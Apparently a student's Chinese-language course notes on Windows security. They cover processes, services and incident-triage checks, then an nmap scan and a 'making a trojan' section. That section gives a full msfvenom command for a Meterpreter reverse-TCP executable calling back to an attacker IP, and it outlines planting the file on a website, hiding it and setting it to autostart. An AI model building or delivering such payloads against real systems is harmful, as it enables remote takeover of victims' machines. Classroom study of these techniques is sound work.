课程记录：Windows2

1.Windows进程
是一个正在运行的程序实例，正在运行。

2.服务
是一种特殊的、长期在后台运行的程序，不需要用户使用也会运行。

3.Windows排查手段
进程排查、网络连接排查、启动项排查、服务排查、计划任务排查、系统账户排查
日志排查（计算机管理）根据事件、用户、事件ID：4625（）

4.第三方应用程序漏洞
非操作系统本身程序，来源于个人下载。
前提：
（1）目标IP地址
（2）安装且运行了具有漏洞的程序
步骤：
（1）扫描端口：

nmap -p 端口号范围 目标IP

（2）根据扫出的端口运行网站（适当运行拓展），找到对应端口

http:\\目标IP：扫出的端口号

5.制作木马病毒

msfconsole # 启动 Metasploit # ⽣成反向连接⽊⻢（reverse_tcp：⽬标机主动连接攻击机） msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.157.129 LPORT=9999 -f exe > shell.exe

制作——>投放入网站——>执行——>复制隐藏、自启动——>连接，完成操作